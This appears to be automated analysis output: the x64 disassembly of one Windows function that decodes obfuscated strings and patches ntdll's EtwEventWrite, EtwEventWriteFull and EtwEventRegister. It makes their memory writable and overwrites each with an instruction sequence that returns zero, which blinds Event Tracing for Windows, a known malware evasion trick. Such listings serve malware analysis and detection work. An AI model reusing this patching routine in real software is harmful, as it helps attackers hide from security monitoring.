Function at 0x2b3655440
Capabilities:
Encode data using xor

Disassembly:
push r15
push r14
push r13
push r12
push rbp
push rdi
push rsi
push rbx
sub rsp, 0xf8
mov rax, qword [0x2b37570b0]
mov ecx, 0x71
xor r9d, r9d
movabs rdi, 0xb041902231a1928
mov r8d, 0x71
movabs rbp, 0x3f030204190c0e04
mov qword [rsp + 0x50], rax
movabs rax, 0x7169337171697973
lea rsi, [rsp + 0xd0]
mov qword [rsp + 0xd0], rax
mov rdx, rsi
mov word [rsp + 0xd8], r8w
xor r8d, r8d
movzx eax, byte [rsp + 0xd0]
mov qword [rsp + 0x30], 0
sub eax, 5
mov word [rsp + 0x58], cx
mov rcx, qword [sym.imp.KERNEL32.dll_LoadLibraryA]
mov byte [rsp + 0xd0], al
movzx eax, byte [rsp + 0xd1]
mov qword [rsp + 0x28], 0
mov qword [rsp + 0x20], 0
sub eax, 5
mov byte [rsp + 0xd1], al
movzx eax, byte [rsp + 0xd2]
mov qword [rsp + 0x40], 0
mov qword [rsp + 0x38], 0
sub eax, 5
mov byte [rsp + 0xd2], al
movzx eax, byte [rsp + 0xd3]
sub eax, 5
mov byte [rsp + 0xd3], al
movzx eax, byte [rsp + 0xd4]
sub eax, 5
mov byte [rsp + 0xd4], al
movzx eax, byte [rsp + 0xd5]
sub eax, 5
mov byte [rsp + 0xd5], al
movzx eax, byte [rsp + 0xd6]
sub eax, 5
mov byte [rsp + 0xd6], al
movzx eax, byte [rsp + 0xd7]
sub eax, 5
mov byte [rsp + 0xd7], al
movzx eax, byte [rsp + 0xd8]
sub eax, 5
mov byte [rsp + 0xd8], al
call fcn.2b3651880
mov r10d, 0x6d
mov r9d, 0x6d
mov r8, rsi
mov r12, rax
mov rax, qword [0x2b37570b8]
mov word [rsp + 0x6c], r9w
xor r9d, r9d
mov dword [rsp + 0x68], 0x7c717a5f
mov rdx, r12
mov qword [rsp + 0x60], rax
movabs rax, 0x7c766d7e4d7f7c4d
mov qword [rsp + 0xd0], rax
mov dword [rsp + 0xd8], 0x7c717a5f
mov word [rsp + 0xdc], r10w
movzx eax, byte [rsp + 0xd0]
sub eax, 8
mov byte [rsp + 0xd0], al
movzx eax, byte [rsp + 0xd1]
sub eax, 8
mov byte [rsp + 0xd1], al
movzx eax, byte [rsp + 0xd2]
sub eax, 8
mov byte [rsp + 0xd2], al
movzx eax, byte [rsp + 0xd3]
sub eax, 8
mov byte [rsp + 0xd3], al
movzx eax, byte [rsp + 0xd4]
sub eax, 8
mov byte [rsp + 0xd4], al
movzx eax, byte [rsp + 0xd5]
sub eax, 8
mov byte [rsp + 0xd5], al
movzx eax, byte [rsp + 0xd6]
sub eax, 8
mov byte [rsp + 0xd6], al
movzx eax, byte [rsp + 0xd7]
sub eax, 8
mov byte [rsp + 0xd7], al
movzx eax, byte [rsp + 0xd8]
sub eax, 8
mov byte [rsp + 0xd8], al
movzx eax, byte [rsp + 0xd9]
sub eax, 8
mov byte [rsp + 0xd9], al
movzx eax, byte [rsp + 0xda]
sub eax, 8
mov byte [rsp + 0xda], al
movzx eax, byte [rsp + 0xdb]
sub eax, 8
mov byte [rsp + 0xdb], al
movzx eax, byte [rsp + 0xdc]
sub eax, 8
mov byte [rsp + 0xdc], al
mov rbx, qword [sym.imp.KERNEL32.dll_GetProcAddress]
mov qword [rsp + 0x40], 0
mov qword [rsp + 0x38], 0
mov rcx, rbx
mov qword [rsp + 0x30], 0
mov qword [rsp + 0x28], 0
mov qword [rsp + 0x20], 0
call fcn.2b3651880
movdqa xmm0, xmmword [0x2b37570c0]
mov dword [rsp + 0xd0], 0x6d
mov r15, rax
mov qword [rsp + 0xd4], rdi
movabs rax, 0x1f08191e040a08
mov qword [rsp + 0xc0], rax
mov qword [rsp + 0xdc], rbp
movaps xmmword [rsp + 0xb0], xmm0
mov qword [rsp + 0xe4], rax
xor eax, eax
nop word [rax + rax]
movzx edx, byte [rsp + rax + 0xd4]
mov ecx, dword [rsp + 0xd0]
xor edx, ecx
mov byte [rsp + rax + 0xd4], dl
add rax, 1
cmp rax, 0x17
jne 0x2b3655758
mov qword [rsp + 0x40], 0
xor r9d, r9d
mov rdx, r12
lea rsi, [rsp + 0xd4]
mov qword [rsp + 0x38], 0
mov r8, rsi
mov rcx, rbx
mov qword [rsp + 0x30], 0
mov qword [rsp + 0x28], 0
mov qword [rsp + 0x20], 0
mov byte [rsp + 0xeb], 0
call fcn.2b3651880
xor r9d, r9d
mov r8, rsi
mov rcx, rbx
mov r14, rax
movdqa xmm0, xmmword [0x2b37570d0]
movabs rax, 0x7b616a794a787b4a
movabs rdx, 0x7d6a7b7c66686a5d
mov dword [rsp + 0xd0], 0xf
mov qword [rsp + 0xd4], rax
mov qword [rsp + 0xdc], rdx
mov byte [rsp + 0xe4], 0
movzx eax, byte [rsp + 0xd4]
mov edx, dword [rsp + 0xd0]
movaps xmmword [rsp + 0x70], xmm0
mov byte [rsp + 0x80], 0
xor eax, edx
mov byte [rsp + 0xd4], al
movzx eax, byte [rsp + 0xd5]
mov edx, dword [rsp + 0xd0]
xor eax, edx
mov byte [rsp + 0xd5], al
movzx eax, byte [rsp + 0xd6]
mov edx, dword [rsp + 0xd0]
xor eax, edx
mov byte [rsp + 0xd6], al
movzx eax, byte [rsp + 0xd7]
mov edx, dword [rsp + 0xd0]
xor eax, edx
mov byte [rsp + 0xd7], al
movzx eax, byte [rsp + 0xd8]
mov edx, dword [rsp + 0xd0]
xor eax, edx
mov byte [rsp + 0xd8], al
movzx eax, byte [rsp + 0xd9]
mov edx, dword [rsp + 0xd0]
xor eax, edx
mov byte [rsp + 0xd9], al
movzx eax, byte [rsp + 0xda]
mov edx, dword [rsp + 0xd0]
xor eax, edx
mov byte [rsp + 0xda], al
movzx eax, byte [rsp + 0xdb]
mov edx, dword [rsp + 0xd0]
xor eax, edx
mov byte [rsp + 0xdb], al
movzx eax, byte [rsp + 0xdc]
mov edx, dword [rsp + 0xd0]
mov qword [rsp + 0x30], 0
mov qword [rsp + 0x28], 0
mov qword [rsp + 0x20], 0
xor eax, edx
mov byte [rsp + 0xdc], al
movzx eax, byte [rsp + 0xdd]
mov qword [rsp + 0x40], 0
mov edx, dword [rsp + 0xd0]
mov qword [rsp + 0x38], 0
xor eax, edx
mov byte [rsp + 0xdd], al
movzx eax, byte [rsp + 0xde]
mov edx, dword [rsp + 0xd0]
xor eax, edx
mov byte [rsp + 0xde], al
movzx eax, byte [rsp + 0xdf]
mov edx, dword [rsp + 0xd0]
xor eax, edx
mov byte [rsp + 0xdf], al
movzx eax, byte [rsp + 0xe0]
mov edx, dword [rsp + 0xd0]
xor eax, edx
mov byte [rsp + 0xe0], al
movzx eax, byte [rsp + 0xe1]
mov edx, dword [rsp + 0xd0]
xor eax, edx
mov byte [rsp + 0xe1], al
movzx eax, byte [rsp + 0xe2]
mov edx, dword [rsp + 0xd0]
xor eax, edx
mov byte [rsp + 0xe2], al
movzx eax, byte [rsp + 0xe3]
mov edx, dword [rsp + 0xd0]
xor eax, edx
mov rdx, r12
mov byte [rsp + 0xe3], al
mov byte [rsp + 0xe4], 0
call fcn.2b3651880
movdqa xmm0, xmmword [0x2b37570e0]
lea r8, [rsp + 0x90]
mov rcx, rbx
movabs rdx, 0x757e4f6e7d727b60
mov r13, rax
mov eax, 0x75
mov word [rsp + 0xe0], ax
movabs rax, 0x7d776e7f4e807d4e
mov qword [rsp + 0x90], rax
mov qword [rsp + 0x98], rdx
mov edx, 0x75
mov word [rsp + 0xa0], dx
movzx eax, byte [rsp + 0x90]
mov rdx, r12
movaps xmmword [rsp + 0xd0], xmm0
sub eax, 9
mov byte [rsp + 0x90], al
movzx eax, byte [rsp + 0x91]
sub eax, 9
mov byte [rsp + 0x91], al
movzx eax, byte [rsp + 0x92]
sub eax, 9
mov byte [rsp + 0x92], al
movzx eax, byte [rsp + 0x93]
sub eax, 9
mov byte [rsp + 0x93], al
movzx eax, byte [rsp + 0x94]
sub eax, 9
mov byte [rsp + 0x94], al
movzx eax, byte [rsp + 0x95]
sub eax, 9
mov byte [rsp + 0x95], al
movzx eax, byte [rsp + 0x96]
sub eax, 9
mov byte [rsp + 0x96], al
movzx eax, byte [rsp + 0x97]
sub eax, 9
mov byte [rsp + 0x97], al
movzx eax, byte [rsp + 0x98]
sub eax, 9
mov byte [rsp + 0x98], al
movzx eax, byte [rsp + 0x99]
sub eax, 9
mov byte [rsp + 0x99], al
movzx eax, byte [rsp + 0x9a]
sub eax, 9
mov byte [rsp + 0x9a], al
movzx eax, byte [rsp + 0x9b]
sub eax, 9
mov byte [rsp + 0x9b], al
movzx eax, byte [rsp + 0x9c]
sub eax, 9
xor r9d, r9d
mov byte [rsp + 0x9c], al
movzx eax, byte [rsp + 0x9d]
mov qword [rsp + 0x40], 0
mov qword [rsp + 0x38], 0
sub eax, 9
mov byte [rsp + 0x9d], al
movzx eax, byte [rsp + 0x9e]
mov qword [rsp + 0x30], 0
mov qword [rsp + 0x28], 0
sub eax, 9
mov byte [rsp + 0x9e], al
movzx eax, byte [rsp + 0x9f]
mov qword [rsp + 0x20], 0
sub eax, 9
mov byte [rsp + 0x9f], al
movzx eax, byte [rsp + 0xa0]
sub eax, 9
mov byte [rsp + 0xa0], al
call fcn.2b3651880
mov rcx, r15
mov r8d, 0x40
mov edx, 4
mov r12, rax
call fcn.2b36515c0
mov rcx, r14
mov r8d, 0x40
mov edx, 4
mov ebp, eax
call fcn.2b36515c0
mov rcx, r13
mov r8d, 0x40
mov edx, 4
mov edi, eax
call fcn.2b36515c0
mov rcx, r12
mov r8d, 0x40
mov edx, 4
mov esi, eax
call fcn.2b36515c0
mov r8d, ebp
mov rcx, r15
mov edx, 4
mov dword [r15], 0xc3c03348
mov ebx, eax
mov dword [r14], 0xc3c03348
mov dword [r13], 0xc3c03348
mov dword [r12], 0xc3c03348
call fcn.2b36515c0
mov r8d, edi
mov rcx, r14
mov edx, 4
call fcn.2b36515c0
mov r8d, esi
mov rcx, r13
mov edx, 4
call fcn.2b36515c0
mov r8d, ebx
mov edx, 4
mov rcx, r12
add rsp, 0xf8
pop rbx
pop rsi
pop rdi
pop rbp
pop r12
pop r13
pop r14
pop r15
jmp fcn.2b36515c0